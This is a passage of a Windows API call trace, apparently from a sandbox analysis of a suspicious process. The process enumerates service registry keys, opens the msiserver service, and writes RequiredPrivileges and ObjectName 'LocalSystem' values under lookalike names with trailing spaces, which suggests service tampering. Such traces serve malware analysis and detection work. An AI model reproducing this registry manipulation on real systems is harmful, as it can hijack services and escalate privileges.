out: lpName="IPMIDRV") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0248.078] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0248.079] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0248.080] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0248.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0248.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0248.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0248.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0248.081] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0248.081] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0248.081] RegCloseKey (hKey=0x154) returned 0x0 [0248.081] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.081] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.081] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.081] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.081] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.081] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.081] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.082] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0248.082] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.082] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.082] RegCloseKey (hKey=0x150) returned 0x0 [0248.083] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.083] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.083] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.083] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.083] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.083] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0248.083] RegCloseKey (hKey=0x154) returned 0x0 [0248.083] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.085] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.085] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.085] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.085] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.087] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.087] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.088] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0248.088] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath 